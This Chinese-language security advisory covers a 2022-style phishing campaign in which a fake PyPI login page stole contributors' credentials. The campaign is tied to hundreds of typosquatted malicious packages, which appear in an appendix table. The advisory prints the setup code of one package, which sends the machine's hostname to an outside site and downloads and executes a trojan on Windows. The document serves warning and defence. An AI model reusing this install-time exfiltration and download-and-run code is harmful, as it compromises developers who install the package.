简述
OSCS 近期监测到 PyPi 官方发布公告称有攻击者针对 PyPi 上的开源组件开发者进行钓鱼，试图窃取 PyPi 贡献者的凭据。本次攻击是通过贼喊捉贼的假装PyPi官方给恶意包发邮箱进行钓鱼，开发者可以通过开启2FA认证防止被攻击者窃取凭据后更改项目。
钓鱼事件
通过钓鱼邮件获取 PyPi 贡献者的凭据
根据PyPi官方发布的公告得知：
PyPi 贡献者收到了一封网络钓鱼电子邮件，要求他验证他的 PyPi 凭据，导致他进入一个虚假的 PyPi 登录页面，试图窃取他的 PyPi 凭据。
钓鱼邮件的大致内容如下：
“由于PyP在过去被上传过恶意包，谷歌会对PyPi的全量包进行分析。
您收到这封邮件是因为google的安全策略，请使用谷歌验证您的包，以避免您的 PyPi 包从 PyPi.org 删除
9月前未验证的包将被及时移除
如果您目前没有贡献的 PyPi 包，请忽略此邮件
PyPi 团队”
来自攻击者发送的钓鱼邮件
虚假的 PyPi 登录页面，试图窃取 PyPi 贡献者的凭据。
虚假的PyPi登录页面
PyPi官方已声明在不违反TOS或确定为有危害的项目时候，并不会从索引中删除有效的项目。
投放恶意组件包
PyPi 的官方推特账号报告称，这次网络钓鱼攻击与数百个恶意 python 包在内以及更广泛的事件有关。这些恶意软件包已从注册表中删除。
以其中的一个恶意包为例子：
from setuptools import setup, find_packages
import os
import requests
from setuptools.command.install import install
from sys import platform
def send():
try:
env = os.environ['COMPUTERNAME']
t = requests.get("https://linkedopports.com/pyp/resp.php?live=Installation " +env)
if platform == 'win32':
url = 'https://python-release.com/python-install.scr'
filename = 'ini_file_pyp_32.exe'
rq = requests.get(url, allow_redirects=True)
open(filename, 'wb').write(rq.content)
os.system('start '+filename)
except:
pass
demo.py
从上述恶意包的代码中可以直观发现两个可疑的url。
攻击者将 os.environ[‘COMPUTERNAME’] 主机名传输到https://linkedopports.com/pyp/resp.php?live=Installation。
攻击者从https://python-release.com/python-install.scr去下载python-install.scr[木马程序]并去执行它。
总结
OSCS分析认为目前攻击者在不断更新攻击手法，在不断注册小号投毒的基础上，开始试图通过窃取开发者用户账号进行投毒，如果有知名项目被窃取PyPi 凭据，后果不堪设想。
如果您是 PyPi 贡献者，请开启2FA认证防止被窃取凭证后影响PyPi项目。
参考链接
附录
目前这些恶意组件的部分在国内清华源中还未删除，请研发同学避免下载以下恶意包，列表如下：
| 组件名 | 作者 |
| firstbasicpyapp | firstbasicpyapp |
| coingecko-apis | firstbasicpyapp |
| coinmarketcaps | firstbasicpyapp |
| igtool | firstbasicpyapp |
| monkeytypes | firstbasicpyapp |
| multiporn | firstbasicpyapp |
| opencb-python | firstbasicpyapp |
| opencvv-python | firstbasicpyapp |
| pyteseract | firstbasicpyapp |
| seleniun | firstbasicpyapp |
| manganeko | elevatepyapp |
| bcrypto | elevatepyapp |
| deep-translate | elevatepyapp |
| discord.pt | elevatepyapp |
| discord.pu | elevatepyapp |
| instabots | elevatepyapp |
| psycogp2 | elevatepyapp |
| pycryptdome | elevatepyapp |
| pycryptodomes | elevatepyapp |
| pypttt | elevatepyapp |
| pytttsx3 | elevatepyapp |
| pywin31 | elevatepyapp |
| pywin33 | elevatepyapp |
| redist | elevatepyapp |
| tiktok-bots | elevatepyapp |
| yandex-map | elevatepyapp |
| arcalife | firstbasicpyapp |
| linkedin-scrape | firstbasicpyapp |
| memory-profile | firstbasicpyapp |
| osrs-hiscore | firstbasicpyapp |
| pymongosinspired13 | firstbasicpyapp |
| selenuim | firstbasicpyapp |
| ymongo | firstbasicpyapp |
| 1337c | praisepyapp |
| 1337z | praisepyapp |
| andex-maps | praisepyapp |
| deep-translation | praisepyapp |
| eautifulsoup4 | praisepyapp |
| emoji-country-flags | praisepyapp |
| emoki | praisepyapp |
| etuptools | praisepyapp |
| keybaord | praisepyapp |
| pencv-python | praisepyapp |
| proxyscrope | praisepyapp |
| pydobc | praisepyapp |
| speechrecongition | praisepyapp |
| xlibrary | praisepyapp |
| yautogui | praisepyapp |
| yptt | praisepyapp |
| etuptool | pypiappz |
| deeepl | pypiappz |
| discordhook | pypiappz |
| eepl | pypiappz |
| elenium | pypiappz |
| igtoolz | pypiappz |
| proxycrape | pypiappz |
| proxyrape | pypiappz |
| statmodel | pypiappz |
| statmodels | pypiappz |
| statsmodel | pypiappz |
| yaudio | pypiappz |
| yinance | pypiappz |
| yinstaller | pypiappz |
| ywin32 | pypiappz |
| asn2crypto | pypzz |
| bitcoinliv | pypzz |
| crypto-data-fetch | pypzz |
| crypto-get-price | pypzz |
| crypto-open | pypzz |
| crypto-os | pypzz |
| cryptobalance | pypzz |
| django-metamaks-auth | pypzz |
| django-metamask-aut | pypzz |
| django-web2-auth | pypzz |
| django-web3-aut | pypzz |
| django-web4-auth | pypzz |
| hameni | pypzz |
| historic-crypt | pypzz |
| jango-metamask-auth | pypzz |
| jango-web3-auth | pypzz |
| pyvrypto | pypzz |
| pyxrypto | pypzz |
| ycrypto | pypzz |
| ycryptodome | pypzz |
| ccsv | pypzz1 |
| contextliv | pypzz1 |
| cryptographyy | pypzz1 |
| csvv | pypzz1 |
| cvs | pypzz1 |
| flak7 | pypzz1 |
| flak8 | pypzz1 |
| flake7 | pypzz1 |
| fuzywuzy | pypzz1 |
| fuzywuzzy | pypzz1 |
| fuzzywuzy | pypzz1 |
| fuzzzywuzzy | pypzz1 |
| hreading | pypzz1 |
| laysound | pypzz1 |
| playsoun | pypzz1 |
| pyinstaler | pypzz1 |
| rgparse | pypzz1 |
| threadin | pypzz1 |
| threeding | pypzz1 |
| uzzywuzzy | pypzz1 |
| we3 | pypzz1 |
| wec3 | pypzz1 |
| weg3 | pypzz1 |
| wen3 | pypzz1 |
